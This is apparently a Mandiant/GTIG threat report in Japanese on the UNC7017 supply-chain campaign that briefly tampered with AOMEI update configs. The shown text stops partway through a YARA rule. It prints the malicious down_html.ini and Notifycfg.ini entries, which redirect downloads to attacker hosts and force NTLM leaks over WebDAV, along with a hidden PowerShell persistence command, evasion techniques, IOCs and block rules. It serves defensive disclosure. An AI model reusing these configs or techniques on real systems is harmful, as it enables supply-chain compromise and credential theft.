執筆者: Tyler McLellan
はじめに
Google Threat Intelligence Group(GTIG)とMandiantは、2026年4月から2026年7月にかけて、AOMEI Technologyの更新インフラを狙ったソフトウェアサプライチェーン侵害キャンペーンを調査しました。攻撃者は、AOMEIのオリジンサーバーに対し、短時間の設定改ざんを繰り返し実行しました。各改ざんウィンドウが有効だったのは5~10分だけで、その後は正規のバージョンに戻されています。このような非常に短い時間枠で実行されたソフトウェアサプライチェーン侵害を確認したのは、今回が初めてです。この手口により、従来の時点ベースのトリアージや自動ファイルスキャンを事実上回避していました。
このキャンペーンでは、新たに追跡を開始したダウンローダー「CROSSROAD」とバックドア「SHINYROAD」による多段階のペイロードチェーンが配布されました。攻撃者は手口を繰り返し変更し、ステージングインフラをクラウドプロバイダーから専用ドメインや正規のクラウドストレージへと切り替えています。このように変化するステージング構成は、防御側がインフラベースのブロックやネットワーク制御を効果的に確立する上で、大きな障壁となります。GTIGは、この活動を「UNC7017」として追跡している脅威クラスターによるものと判断しています。
入手可能なテレメトリによると、被害を受けた組織の業種はITサービス、通信、高等教育などと多岐にわたり、所在地はオーストラリア、ブラジル、インド、パキスタン、ポルトガル、シンガポール、南アフリカ、スペイン、スイス、トルコ、米国に及びます。ただし、このキャンペーンは攻撃者の改ざんウィンドウ中に更新配信サーバーへ問い合わせたあらゆるシステムにマルウェアを配布しようとしたため、被害は無差別的であり、GTIGが直接確認した組織以外にも広がっている可能性が高いと考えられます。
このキャンペーンは、Zoho Corporationの一部門であるManageEngine Threat Analysis Lab(METAL)との共同調査で最初に特定されました。METALのエンドポイント検知・対応(EDR)テレメトリが、5月下旬に複数の顧客環境でこの活動を最初に検知しています。METALチームには、積極的なテレメトリ共有と継続的な協力に感謝します。この協力は、両社共通の顧客基盤とソフトウェアエコシステム全体の保護に役立っています。この共同作業を受け、GTIGは影響を受けた可能性のある組織に通知し、技術的な調査結果をAOMEI Technologyに共有しました。AOMEIは、配信サーバーを保護するための是正措置を講じたと報告しています。METALによるこのキャンペーンの分析は、同社のブログで公開されています。
AOMEIの更新・通知システムの仕組み
AOMEI Backupperはデータバックアップ、ディスククローン、災害復旧の機能を提供し、AnyViewerはリモートデスクトップ接続とサポートを支援します。これらの製品のユーザーは、ABMarketの更新フローと関連するバックグラウンドサービス(Backupper.exeおよびABNotify.exe)に依存しています。これらのサービスは、更新通知やプロモーションのポップアップを取得するため、HTTPS経由でリモートのエンドポイントに定期的に問い合わせます。

図1: AOMEIの更新メカニズム
-
更新設定(
down_html.ini): ソフトウェアは定期的にhttps://www2.aomeisoftware.com/download/abpopup/down_html.iniへHTTPSリクエストを送信します。このファイルには、バージョン番号、想定される更新パッケージのMD5ハッシュ、クライアントがupgrade-now.zipをダウンロードするURLが記載されています。 -
通知設定(
Notifycfg.ini): ソフトウェアはhttps://account.aomeitech.com/Notifycfg.iniに接続します。このファイルは、ローカルの通知プロセス(ABNotify.exe)に対し、表示するメッセージと、ソフトウェアのローカルディレクトリにあるコマンドやプログラムの実行内容を指示します。
通常の状態では、これらのファイルはクライアントに対し、AOMEI自身のドメイン(www2.aomeisoftware.com)にある公式ファイルをダウンロードするよう指示します。
キャンペーンの概要
GTIGとMETALのテレメトリによると、UNC7017はベンダーの配信サーバーに恒久的な静的改ざんを残すのではなく、短時間の設定改ざんを繰り返し実行していました。2026年には複数の改ざんウィンドウを確認しており、関連するマルウェア検体も4月下旬から実環境で観測されています。ただし、各ウィンドウが短いことから、キャンペーン期間中にはGTIGの観測範囲外で追加の改ざんが発生していた可能性が高いと考えられます。改ざんウィンドウが有効な間に更新を確認したシステムは悪意ある指示を受け取り、その前後に確認したシステムは正規のファイルを受け取りました。
短い改ざんウィンドウの間、攻撃者は更新サーバー上の更新設定ファイルを書き換え、正規の更新ではなく攻撃者管理下のサーバーから悪意あるZIPパッケージをダウンロードするようソフトウェアを誘導しました。さらに、サーバー上の通知設定ファイルも改ざんし、ソフトウェアの自動通知サービスを悪用して、ダウンロードしたマルウェアをローカルで即座に実行させました。改ざんが有効な間にユーザーのアプリケーションが更新を確認すると、トロイの木馬化された更新をダウンロードし、マルウェアを実行してしまいます。
改ざんされた設定ファイルが有効だった場合、攻撃者はクライアントに対し、CROSSROADを含む武器化されたZIPアーカイブをダウンロードさせました。CROSSROADは初期ダウンローダーで、環境の検証と二次コンポーネントのステージングを担います。その後CROSSROADはスケジュールタスクによる永続化を確立し、SHINYROADを展開します。SHINYROADは、トロイの木馬化された管理ユーティリティ経由で配布されるモジュール型バックドアフレームワークで、秘匿的なコマンド&コントロール(C2)通信を可能にします。
短時間のサプライチェーン改ざん
UNC7017の運用上のセキュリティの特徴は、一時的で時間を圧縮したサーバー改ざんに依存している点です。直接観測したすべての攻撃の波で、攻撃者はAOMEIの更新サーバー上に悪意ある設定を常駐させないようにしていました。
-
5月28日: 10分間の露出ウィンドウ(UTC 05:40~05:50)
-
7月16日: 6分間の露出ウィンドウ(UTC 08:33~08:39)
-
7月20日: 5分間の露出ウィンドウ(UTC 10:35~10:40)
各ウィンドウの終了時に、UNC7017はdown_html.iniとNotifycfg.iniの両方を正規の内容に戻しました。これにより、インシデント後のベンダー監査は難しくなり、ネットワーク防御担当者が稼働中の悪意あるサーバーレスポンスを捕捉できる時間も最小化されます。侵害されるのも、まさにその数分間に更新を確認したクライアントに限られます。
ネイティブの更新ロジックの武器化: down_html.iniと設定ファイルの肥大化
UNC7017は、ソフトウェアの脆弱性に頼らずにエンドポイントを侵害するため、AOMEIクライアントの正規の更新・ポップアップ表示ワークフローを悪用しました。クライアントは既定で、更新アーカイブをTmphtmlディレクトリにダウンロードし、ローカルのhtml/ディレクトリに展開します。その後、down_html.iniとNotifycfg.iniという2つのリモート設定ファイルの指示を処理します。
AOMEIクライアントに武器化されたupgrade-now.zipアーカイブを受け入れさせて展開させるため、UNC7017は改ざんウィンドウのたびに、マイナービルドバージョン(「thrid」)を段階的に増やし、down_html.ini内の想定MD5チェックサムを更新していました。
[Date]
-Url=https://www2.aomeisoftware.com/download/abpopup/upgrade-now.zip
+Url=https://promotion.storage-data.com/download/abpopup/upgrade-now.zip
Name=upgrade-now
[Version]
maj=8
min=2
-thrid=5
+thrid=6
[MD5]
-Val=EE89C99F3753231771170F5D9CBBAE1E
+Val=31323E7E738230FA6A8DEEF2B7894666
図2: 7月16日に行われたdown_html.iniの改ざん。ダウンロード先をpromotion.storage-data.comに変更し、バージョン(thrid=6)を増やしてMD5ハッシュも同期している。
7月16日の6分間のウィンドウ中、UNC7017はNotifycfg.ini(SHA256: d2f9ef2429312667f0512504b6a19ba4a9cc5514f1b2933923dd42f75a1c5934)も同時に改ざんしました。[dummy_XXXXXX]という名前の反復的な設定セクションを35,000行以上注入しています。この極端な設定の肥大化は、標準的なクライアントのバージョンチェックを上書きするための構造でした。インストール済みのバージョンにかかわらずクライアントに更新を強制的に起動させ、ローカルのhtml/ディレクトリに展開されたCROSSROADドロッパー(upgrade-now.exe)を即座に実行させます。
インフラの切り替え
2026年4月から7月にかけて、UNC7017はステージング・配布インフラを、パブリッククラウドのバケットと、攻撃者が管理する類似ドメインの間で切り替えていました。ペイロード配信のテストと、正規のベンダー通信への偽装が目的とみられます。
インフラの切り替え
-
初期のクラウドステージング(2026年4月~5月): 初期のCROSSROADペイロード(5月20日に観測された
upgrade-now.exe)は、Alibaba Cloud Object Storage(serv.oss-cn-hongkong.aliyuncs.com)に依存していました。 -
専用ドメインインフラ(2026年7月1日~7日): 攻撃者はベンダーを装った専用ドメイン(
storage-data.com、promotion.storage-data.com、aomei.storage-data.com)に移行しました。 -
ハイブリッドなクラウド配信の分割(2026年7月20日): 7月20日の5分間のウィンドウ中、攻撃者は
down_html.iniを改ざんし、クライアントの最初のダウンロード先をstorage-data.comではなく、パブリックなGoogle Cloud Storageバケット(storage.googleapis.com/aomeiupdate/upgrade-now.zip)に変更しました。この戦術的な切り替えにより、最初のダウンロードは、新規登録ドメイン(NRD)をブロックする企業のプロキシフィルターを回避できました。一方、実行されたCROSSROADローダーは、二次ペイロードの取得とC2通信に引き続きstorage-data.comを使用していました。
[Date]
Url=https://storage.googleapis.com/aomeiupdate/upgrade-now.zip
Name=upgrade-now
[Version]
maj=8
min=2
thrid=7
[MD5]
Val=BF73C4391B58CA95220CE3AE03F66DCF
図3: 7月20日に行われたdown_html.iniの改ざん。Google Cloud Storage(thrid=7)を利用して、新規登録ドメイン(NRD)の境界ブロックを回避している。
WebDAVによるNTLM認証情報の強制送信
7月20日、UNC7017はNotifycfg.ini内に第2の攻撃手法を導入しました。改ざん前のNotifycfg.iniは、「World Cup Deals」を宣伝する400×380の正規のプロモーションバナーを表示していました。攻撃者はこのバナーを、最高の実行優先度(Priority=9999)を割り当てた不可視の1×1ピクセルのウィンドウ(Width=1、Height=1)に置き換えました。このウィンドウは、クライアントに対し、UNC(Universal Naming Convention)形式のWebDAVパス経由でリモートのHTMLファイルを描画するよう指示します。
[PopWindow1]
ID=307
Title=20260408-AB Flash Sale (All Lang 不含EN)
Address="file://8.210.84.56/DavWWWRoot/campaign/24hour-flash-sale.html"
Width=1
Height=1
Priority=9999
図4: 7月20日の悪意あるNotifycfg.ini設定。不可視の1×1ポップアップウィンドウを実装し、8.210.84.56に対するWebDAV/NTLM認証を強制している。
AOMEIクライアントにWebDAV(DavWWWRoot)経由でリモートのfile://リソースを要求させることで、UNC7017は、ユーザーに気付かれずに認証情報を収集する仕組みを作り出しました。この仕組みにより、エンドポイントに攻撃者管理下のIPアドレス(8.210.84.56)へNetNTLMv2認証ハッシュを送信させることができます。
マルウェアの配布とポストエクスプロイトツール
キャンペーンの各波を通じて、UNC7017はカスタムローダーと、商用・オープンソースのポストエクスプロイトフレームワークを一貫したチェーンとして展開しました。
-
タイムスタンプ改ざんによる防御回避: 5月20日にVirusTotalへ提出された初期のCROSSROADドロッパー(upgrade-now.exe)を分析したところ、攻撃者がPEのコンパイルタイムスタンプを操作し、偽の2024年のビルド日付を表示させていたことが判明しました。フォレンジックのタイムライン分析を困難にする狙いがあります。
-
改変されたRadmin Serverバックドア: 5月28日の攻撃の波では、html/ディレクトリに投下された署名なしのローダーがrsetup64.exe /intsetupを実行し、商用リモート管理ツールRadmin Serverの改変版をサイレントでインストールして、永続的なリモートアクセスを確立しました。
-
Adaptix C2の統合: 少なくとも2026年7月初旬から、攻撃者がstorage-data.comインフラ全体にAdaptix C2フレームワークを展開していることが観測されました。
主要ダウンローダー: CROSSROAD
主要なステージ2ダウンローダー(upgrade-now.exe、SHA256: 9a58e8f49edf5644e5728f74cf36f560d3d486fa51db4db69d927963c7aca450)は、C言語で書かれた64ビットのWindows実行ファイルで、GTIGはCROSSROADマルウェアファミリーとして追跡しています。upgrade-now.zipに格納されて配布されるCROSSROADは、環境の検証、稼働中のエンドポイントのクリーンアップ、二次ペイロードバンドルのステージング、ステージ3のバックドア群に向けたスケジュールタスクによる永続化を担います。
-
パスの検証: 設定ルーチンの一環として、CROSSROADは自身のファイルパスに部分文字列
AOMEIが含まれるかを確認します。含まれていない場合は自己削除ルーチンを開始しますが、処理は中止せず、バックグラウンドの設定クリーンアップとダウンローダーのルーチンはどちらも続行します。 -
実行ガードレール: 二次ダウンロードに進む前に、CROSSROADは主に2つのチェックを行います。
-
地理的位置の確認: カスタムUser-Agent(
Anyviewer-loader/1.0、Anyviewer-ipcheck/1.0)を使用して、外部のドメインネームシステム(DNS)サービス(myip.opendns.com、o-o.myaddr.l.google.com)とHTTPリフレクションサービス(checkip.amazonaws.com、api.ipify.org、ifconfig.me/ip、icanhazip.com)に問い合わせます。特定の実行分岐では、返された国コードが"CN"(中国)の場合、ローダーは主要なペイロードの実行経路を中止します。 -
ロックミューテックス: 名前付きミューテックス
Global\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883}を取得し、同一ホスト上で複数のインスタンスが同時に動作するのを防ぎます。
ホスト上のアーティファクトの復元とアンチフォレンジック: インシデント後のトリアージとフォレンジックによる再構築を困難にするため、ローダーは実行サイクル中にローカルの設定状態を体系的に元に戻します。マルウェアはdown_html.ini(<install_dir>\..\..\に配置)を解析し、更新スレッドパラメーター(thrid)を既定値の5に戻すとともに、更新のダウンロードURLを正規のAOMEI配信インフラ(https://www2.aomeisoftware.com/download/abpopup/)に戻します。
ステージ3ペイロードのステージングと展開: 環境チェックを通過すると、CROSSROADはhttps://promotion.storage-data.com/config/component.zip(en.zipとしても観測)を%TEMP%\svc<random_hex>.tmpにダウンロードし、組み込みのminizライブラリを使って、その内容をユーザーのローカルアプリケーションデータディレクトリに展開します。
スケジュールタスクによる永続化: ステージングしたペイロードバンドルを継続的に実行するため、upgrade-now.exeはRadminComponentRuntimeという名前の永続的なスケジュールタスクを登録します(説明文は「Radmin Component runtime checkable.」に設定)。このタスクは、3時間ごとに%LOCALAPPDATA%\Radmin\FamItrfc.exe --runtimechkを実行するよう設定されています。
自己削除(–nitrod): ペイロードバンドルを展開してスケジュールタスクを作成した後、CROSSROADは自身をディスクから消去します。Windowsのファイルロックの制約を回避するため、実行ファイルは自分自身のコピーを一時ディレクトリに投下し、--nitrodパラメーター付きで実行します。このとき、親プロセスIDをNITRODP、元の実行ファイルのパスをNITRODTで渡します。子プロセスは親プロセスの終了を待ち、SetFileInformationByHandleを使って元のバイナリの主要な:$DATAストリームを:wtfbbqという代替データストリームにリネームします。さらにFileDispositionInfoにDeleteFile = TRUEを設定し、ハンドルを閉じた時点でバイナリが削除されるようにします。
バージョン情報: 実行ファイルには標準的なPEバージョンメタデータが含まれており、注目すべきスペルミスの文字列がありました。"ProductName: AOMEI Update Compent"です。

図5: 被害者のプロファイリングとマルウェア配布ロジック
ステージ3ペイロード: SHINYROADとRadminスイート
CROSSROADが%LOCALAPPDATA%\Radmin\に展開するペイロードアーカイブには、Famatech Radmin 3.x管理バンドルが含まれています。攻撃者はこれを使って、モジュール型バックドアフレームワークSHINYROADを配布します。このマルウェア自体には独自の永続化メカニズムがなく、実行はCROSSROADが登録した外部のスケジュールタスクに全面的に依存しています。
-
DLL検索順序ハイジャックによる実行(BlkScrDl.dll): 実行は、永続的な
RadminComponentRuntimeスケジュールタスクが、署名付きの正規Radminバイナリ%LOCALAPPDATA%\Radmin\FamItrfc.exe --runtimechk(またはFamItrf2.exe)を起動することから始まります。起動時に、このRadmin実行ファイルは検索順序ハイジャックによって、攻撃者の署名なしDLLBlkScrDl.dllを読み込まされます。攻撃者はこのDLLに、Radminの正規の「ブランクスクリーン」ドライバーライブラリを装った名前を付けていました。 -
共有メモリとインプロセスCOMサーバーのステージング: 実行されると、
BlkScrDl.dllは実行ディレクトリ内のconfig.zipを探し、その生データをLocal\963d3c60-d406-4ad6-aa1e-dc8e45061ccfという名前の共有メモリセクションにマップします。そして、csvc\RuntimeComponent.dllを、CLSID{21191641-0D7F-4CD9-9572-01AAE6E7851B}とAppID{9AD3E98A-4C7E-4F37-982D-D73D41E4F91B}のインプロセスCOMサーバーとして動的に登録します。 -
COM起動によるステージ2の初期化と組み込みPocketPy VM: Radminプロセスが登録済みのCLSIDをインスタンス化すると、WindowsのCOMサブシステムがこのDLLを読み込みます。DLLは共有メモリから直接
config.zipを読み取り、暗号化されたペイロードmetadata.datを抽出して、HMAC-SHA256から導出した鍵とIVを用いたChaCha20で復号します。復号されたペイロードはコンパイル済みのPythonバイトコードで、RuntimeComponent.dllが組み込みのPocketPyインタープリター内で実行し、8.218.65.184:443への最初のC2接続を確立します。
SHINYROADアーキテクチャの進化
キャンペーンの初期の亜種を分析した結果、SHINYROADはCレベルのカスタム拡張(_pyio_compat、_pyio_struct、pkpy)を利用し、標準のPythonライブラリをディスク上に読み込まないようにしていることが分かりました。
-
独自のバイナリC2プロトコル: 初期の亜種は、生のTCP(
8.218.65.184:41397)で通信していました。エージェントはホスト名とユーザー名のフィンガープリントから固有のIDを生成し、ハードコードされたハンドシェイクキーで認証を行います。その後は、この固有IDから導出した共通鍵暗号を使うよう、以降の通信をすべて動的に切り替えます。 -
インメモリの機能: このエンジンは、対話型のリモートシェルアクセス(os.system)、トラフィックのチャフィング(ネットワークシグネチャを妨害するランダムなジャンクパケットの生成)、そしてスクリプトモジュールをディスクに書き込まずに、
pkpyのWorkPoolスレッドマネージャー経由で動的にメモリ内を拡張する機能をサポートしています。
ポストエクスプロイト: Nitro PDFを装ったテーマとAdaptix C2
2026年7月中旬、SHINYROADの展開に成功した後、UNC7017がADAPTAGENTを投入した後続段階の活動がテレメトリで確認されました。ADAPTAGENTは、ポストエクスプロイトフレームワークAdaptix C2のクライアント部分です。環境に紛れ込み、ユーザーがダウンロードした活動に見せかけるため、これらのペイロードはNitro PDFのプロモーション・スキャンツール(NitroPromotion.exe)を装っていました。
-
永続化: マルウェアは
\NitroRuntimeという名前のスケジュールタスクをインストールし、次のコマンドを実行させていました。
powershell -Command "Start-Process 'C:\Users\<USER>\AppData\Local\Temp\NitroPromotion.exe' -WindowStyle Hidden"
図6: NitroRuntimeスケジュールタスクによる永続化
-
Adaptix C2ビーコン: この実行ファイルは
%LOCALAPPDATA%\Nitro Pro\からEztwain4.dll(ADAPTAGENT)をサイドロードし、8.210.84.56:6800に対して2分間隔の定期ビーコンを確立していました。
今後の見通しと影響
このキャンペーンは、ソフトウェアサプライチェーン攻撃の手法がより広く進化していることを示しています。サプライチェーン侵入はこれまで、ソフトウェアのソースコードにバックドアを仕込む手口や、開発者のビルドパイプラインの改ざん(例: SolarWinds、3CX)が中心でした。これらは極めて影響が大きい一方で、ソースツリーを侵害すると、公式リリースファイルに永続的なバイナリシグネチャが残ります。このシグネチャは、リリース後のバイナリ分析で発見される可能性があります。
UNC7017が用いた一時的な設定改ざんは、より低コストで、より秘匿性の高い代替手段といえます。
-
設計段階からの分析回避: 設定の変更を5~10分のウィンドウに限定することで、大半の正規ユーザーや自動リポジトリクローラーは、ベンダーが署名した正規のファイルにしか遭遇しません。
-
選択的な攻撃: 脅威アクターは、頻繁にポーリングを行う標的組織を選択的に侵害でき、ベンダーインフラ上での露出時間も最小限に抑えられます。
-
二方面からのアプローチ: ソフトウェア更新のリダイレクトと不可視のWebDAV NTLM強制送信を組み合わせれば、バイナリペイロードの実行がブロックされても、攻撃者は受動的なユーザーから認証情報を収集できる可能性があります。
-
商用ソフトウェアの転用: 正規の管理ツール(Radmin 3.xなど)を未改変のまま展開し、サイドロードによる秘匿チャネルを偽装する手口は、攻撃者が商用のリモート管理機能と隠れたバックドアモジュールをいかに巧みに融合させているかを示しています。
対処とセキュリティ強化
防御側は、アップデータープロセスの振る舞いのプロファイリングに注力すべきです。具体的には、バックグラウンドの更新ランナーが生成する署名なしの子プロセスや、信頼されたデスクトップソフトウェアから発生する不正なネットワークリダイレクトを監視してください。ソフトウェア配信パイプラインを保護するための幅広い推奨事項については、過去に公開したサプライチェーン侵害の緩和ガイダンスを参照してください。
ベンダーへの通知とアーキテクチャの強化
2026年7月17日、Mandiantは更新インフラで観測された設定改ざんについてAOMEI Technologyに通知し、関連する侵害指標を提供しました。その後、AOMEIは2026年7月29日に、是正措置を講じたと回答しています。
サーバー側の対処ではエンドポイントが無害化されない理由
重要な点として、サーバー側の対処では、以前の改ざんウィンドウ中に悪意ある更新をダウンロードしたエンドポイントはクリーンになりません。改ざんは短時間の断続的なものだったため、これらのファイルを受け取ったシステムは、プロアクティブなエンドポイントハンティングと修復を行わない限り、組織が気付かないまま侵害された状態が続く可能性があります。
-
常駐する永続ペイロード: 改ざんウィンドウ中に更新を確認したエンドポイントは、永続的なペイロードをダウンロードしてステージングしています(スケジュールタスク経由)。このペイロードは、ベンダーがオリジンサーバー上の正規の.iniファイルを復元した後も完全に動作し続けます。
-
不明瞭な根本原因: その後のバックドア活動とスケジュールタスクは検知可能なエンドポイントテレメトリを生成しますが、一時的な配布手段によって初期侵入の仕組みは見えにくくなります。サーバーの改ざんは約5分間しか続かず、ローダーもローカルの設定ファイルを能動的に元へ戻していました。そのため、数時間後にベンダーの更新URLを確認した調査担当者には、無害で正規のインフラしか見えません。これが根本原因の分析と、最初の感染端末(ペイシェントゼロ)の特定を難しくしています。
-
ハンティングの必要性: AOMEIソフトウェアを使用している組織は、ベンダーがサーバー側の是正措置を講じたというだけで保護されていると考えてはなりません。企業のセキュリティチームは、この記事で提供する侵害指標とYARAルールを用い、4月から7月までの全期間を対象に、エンドポイントとネットワークの遡及的なハンティングを実施する必要があります。
ソフトウェアベンダーと開発者向けガイダンス
ソフトウェアサプライチェーンのセキュリティは、開発者のワークステーションやビルドパイプラインにとどまりません。デスクトップソフトウェアが更新や通知の挙動を管理するためにリモート設定ファイルに依存していると、攻撃者はソースコードではなく配信レイヤーを狙えます。設定の改ざんや配信チャネルのハイジャックを防ぐため、ソフトウェアベンダーは次のセキュリティ対策を実施すべきです。
-
エンドツーエンドの暗号署名検証: クライアントアプリケーションは、ダウンロードしたすべての実行ファイルとアーカイブについて、展開や実行の前にAuthenticodeデジタル署名を暗号的に検証し、ベンダー証明書を確認する必要があります。更新クライアントは、トランスポート層のHTTPSや、リモートのチェックサム(認証のない設定ファイル内の平文のMD5値など)だけに頼ってはなりません。
-
暗号署名付きの設定ファイル: リモート設定ファイル(.ini、.json、.xml)は、非対称公開鍵暗号を用いてデジタル署名すべきです。オリジンサーバーやコンテンツ配信ネットワーク(CDN)が不正に改変された場合、クライアントソフトウェアは無効な署名を検知して設定を拒否できます。
-
ドメインのアローリストと宛先のピンニング: ソフトウェア更新クライアントは、厳格な宛先ピンニングを適用し、更新のダウンロード元を、事前承認された公式のベンダードメインとCDNだけに限定すべきです。更新エンジンは、任意のサードパーティドメインや汎用のパブリッククラウドストレージバケットへのリダイレクトを拒否する必要があります。
-
アプリ内ハンドラーでのURI(Uniform Resource Identifier)スキームの制限: 組み込みのWebビュー、プロモーションのポップアップ、通知ハンドラーは、安全なWebプロトコル(
https://)を厳格に強制し、ローカルファイル(file://)やUNC WebDAVスキームを明示的に禁止して、外部へのNTLM認証情報の強制送信を防ぐ必要があります。 -
中核の更新とマーケティングチャネルの分離: 必須のソフトウェアメンテナンス処理を、動的なプロモーションのポップアップや通知バナーから切り離すことで、攻撃対象領域が縮小します。広告チャネルからローカルのコード実行を引き起こせなくなります。
-
オリジンの完全性監視とアクセス制御: 更新メタデータをホストするオリジンWebサーバーとオブジェクトストレージバケットには、厳格なアクセス制御、多要素認証、自動化されたリアルタイムのファイル整合性監視(FIM)を適用し、設定が変更された際は即座にアラートを出すべきです。
セキュリティオペレーション(SOC)とインシデント対応担当者向けガイダンス
「時点ベース」のトリアージという落とし穴の克服
この攻撃は短時間で終わるため、インシデント対応に特有の課題が生じます。
-
トリアージの罠: アップデーターが生成した不審なプロセスについてEDRのアラートが発生すると、SOCアナリストはしばしば、ベンダーのダウンロードURLにアクセスしたり、URLレピュテーションを確認したりして、アラートを検証しようとします。攻撃者は5~10分以内にリモート設定ファイルを元に戻しているため、ベンダーのサーバーはたいてい正規でクリーンなファイルを返します。その結果、アナリストはこの検知を誤検知と誤って判断してしまいます。
-
実践的なIR手順: 防御側は、稼働中のWebチェックに頼ってはなりません。インシデント対応担当者は、
%PROGRAMFILES(X86)%\AOMEI\*\Tmphtml\にあるエンドポイント上にキャッシュされた設定ファイルを保全して分析し、アラートが発生した正確な秒に対応するプロキシ/ファイアウォールのテレメトリを確認する必要があります。
偽装された後続活動
Nitro PDFを装ったAdaptix C2の展開は、アナリストに誤った判断をさせる恐れがあります。段階的な横展開ではなく、ユーザーが単独で行ったソフトウェアのダウンロードとして、アラートを扱ってしまう可能性があるためです。対応担当者は、アップデーターの親子関係をたどり、根本原因であるサプライチェーン改ざんを特定する必要があります。
エンドポイントとネットワークの強化策
エンドポイントのファイル確認
システム内で次のディレクトリとアーティファクトを調べてください。防御側は、悪意あるペイロードと、検索順序ハイジャックに悪用された正規の署名付きバイナリを区別する必要があります。
|
ディレクトリ |
悪意あるアーティファクト(主要なIOC) |
悪用された正規/サポート用バイナリ |
防御側のトリアージとハンティングのガイダンス |
|
%LOCALAPPDATA%\Radmin\ |
|
|
実行ファイルが署名されていても見過ごさないでください。 |
|
%LOCALAPPDATA%\Nitro Pro\ |
|
|
ペイロードはNitro PDFツールを装っています。 |
|
%TEMP%\ |
|
— |
NTFSストリームの上書き( |
|
AOMEIのインストールパス( |
|
|
AOMEI更新フローのステージング場所です。WebUIの |
表1: エンドポイントのファイル確認
スケジュールタスクとレジストリ
-
スケジュールタスク:
\NitroRuntimeまたは\RadminComponentRuntimeという名前の不正なタスクがないか確認してください。 -
レジストリ:
\REGISTRY\MACHINE\SYSTEM\Software\Microsoft\TIP\AggregateResults\dataに不審なバイナリブロブがないか確認してください。
ネットワーク防御
-
promotion.storage-data.com、aomei.storage-data.com、storage-data.com、8.210.84.56、47.239.60.117、8.218.65.184への外向きのネットワーク接続をブロックしてください。 -
NTLM認証情報の強制送信を防ぐため、外部IPアドレスへの外向きSMB(TCP 445)およびWebDAV通信をブロックしてください。
-
プロキシとWebゲートウェイのログで、User-Agent
Anyviewer-loader/1.0やAlibaba Cloud OSSエンドポイントserv.oss-cn-hongkong.aliyuncs.comへのリクエストがないか調べてください。
侵害指標(IOC)
このブログ記事で取り上げた活動を、より多くのコミュニティがハンティング・特定できるよう、登録ユーザー向けにGTIコレクションに侵害指標(IOC)を掲載しています。
悪意あるファイルのハッシュ(SHA-256)
|
ファイル/説明 |
SHA-256 |
|---|---|
|
upgrade-now.zip(5月20日のCROSSROADアーカイブ) |
|
|
upgrade-now.exe(5月20日のCROSSROADローダー) |
|
|
upgrade-now.exe(7月16日のCROSSROADローダー) |
|
|
upgrade-now.exe(7月20日のCROSSROADローダー) |
|
|
upgrade-now.zip(7月20日のCROSSROADアーカイブ) |
|
|
component.zip / en.zip(SHINYROADパッケージ) |
|
|
RuntimeComponent.dll(カスタムPocketPyエンジン) |
|
|
BlkScrDl.dll(悪意あるDLL) |
|
|
config.zip(Pythonバイトコードアーカイブ) |
|
|
metadata.dat(ChaCha20ペイロード) |
|
|
axmlx.(無害なおとりファイル) |
|
|
NitroPromotion.exe(Nitroの実行ファイルを装ったADAPTAGENTのランチャー) |
|
|
Eztwain4.dll(ADAPTAGENTヘルパーDLL) |
|
|
abe.exe(二次ペイロード) |
|
表2: 悪意あるファイルの指標
正規ファイルのハッシュ(SHA-256)
|
ファイル/説明 |
SHA-256 |
|---|---|
|
WinLpcDl.dll(正規のRadminコンポーネント) |
|
|
WinLpcDl2.dll(正規のRadminコンポーネント) |
|
|
Nitro_Scan2PDFApp.exe (正規の署名付きバイナリ、サイドロードに悪用) |
|
表3: 正規ファイルの指標
設定ファイルのハッシュ(AOMEI .ini)
|
ファイルの説明 |
SHA-256 |
|---|---|
|
down_html.ini(7月16日 UTC 08:33~08:39に改ざん) |
|
|
Notifycfg.ini(7月16日のウィンドウで改ざん) |
|
|
Notifycfg.ini(7月20日のWebDAV版に改ざん) |
|
|
down_html.ini(7月20日 UTC 10:35~10:40に改ざん) |
|
表4: 設定ファイル
ネットワーク指標
|
種別 |
指標 |
コンテキスト |
|---|---|---|
|
IPアドレス |
|
WebDAV NTLMの標的サーバー、Adaptix C2 |
|
IPアドレス |
|
過去のSHINYROAD C2サーバー。使用ポートは |
|
IPアドレス |
|
二次インフラ |
|
IPアドレス |
|
|
|
ドメイン |
|
ステージ2ドロッパーのステージングドメイン |
|
ドメイン |
|
ステージ3ペイロードのステージングサーバー |
|
ドメイン |
|
脅威アクターのドメイン |
|
ドメイン |
|
Alibaba Cloud OSSバケット(2026年4月/5月のステージング) |
|
URL |
|
ステージ2ドロッパーのダウンロードURL |
|
URL |
|
SHINYROADペイロード |
|
URL |
|
標的IPアローリストのエンドポイント |
|
URL |
|
ステージ3 SHINYROADペイロードのURL |
|
URL |
|
7月20日のGCSステージングURL |
|
URL |
|
7月20日のGCSコンポーネントURL |
|
UNCパス |
|
WebDAV NTLM強制送信用リソース |
表5: ネットワーク指標
ミューテックスとスケジュールタスク
-
ミューテックス:
Global\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883} -
共有メモリマッピング:
Local\963d3c60-d406-4ad6-aa1e-dc8e45061ccf -
スケジュールタスク:
\RadminComponentRuntime
Google Security Operations(SecOps)
Google Security Operationsの顧客は、これらの広範なカテゴリルールなどを、「Mandiant Frontline Threats」「Mandiant Hunting Rules」「Applied Threat Intelligence – Curated Prioritization」の各ルールパックで利用できます。このブログ記事で取り上げた活動は、Google Security Operationsでは次のルール名で検知されます。
-
Explorer Launching Cmd With Powershell Start Process Command
-
Suspicious Process Invoking Dllhost Clsid Invocation
-
ATI Active Breach Rule Match for File IoCs
-
ATI High Priority Rule Match for Ip Address IoCs
-
ATI Medium Priority Rule Match for Ip Address IoCs
-
Copy System Binary
-
System32 Binary Copied to Non-Standard Directory
検知
YARAルール
rule G_APT_Downloader_CROSSROAD_1
{
meta:
author = "Mandiant"
desc = "Detects obfuscated and masquerading UNC7017 CROSSROAD downloaders targeting AOMEI software update mechanisms"
strings:
// Masquerading & Metadata
$meta_typo = "AOMEI Update Compent" wide
$meta_co = "AOMEI International Network Limited" wide
$meta_ver = "8.2.5.0" wide
$meta_orig = "upgrade-now.exe" wide
$meta_name = "upgrade-now" wide
// Embedded Decompression & Downloader Artifacts
$miniz1 = "archive is too large" ascii
$miniz2 = "failed finding central directory" ascii
$miniz3 = "unexpected decompressed size" ascii
$whttp1 = "WinHttpCrackUrl" ascii
$whttp2 = "WinHttpSendRequest" ascii
// Obfuscation & Scheduled Task Artifacts
$task1 = "RadminComponentRuntime" wide
$task2 = "Radmin Component runtime checkable." wide
$flag = "--runtimechk" wide
$sob1 = "IsCurrentIpWhitelisted._sob_enc" ascii
$sob2 = "DownloadFileFromUrlA._sob_enc" ascii
$sob3 = "WinMain._sob_enc." ascii
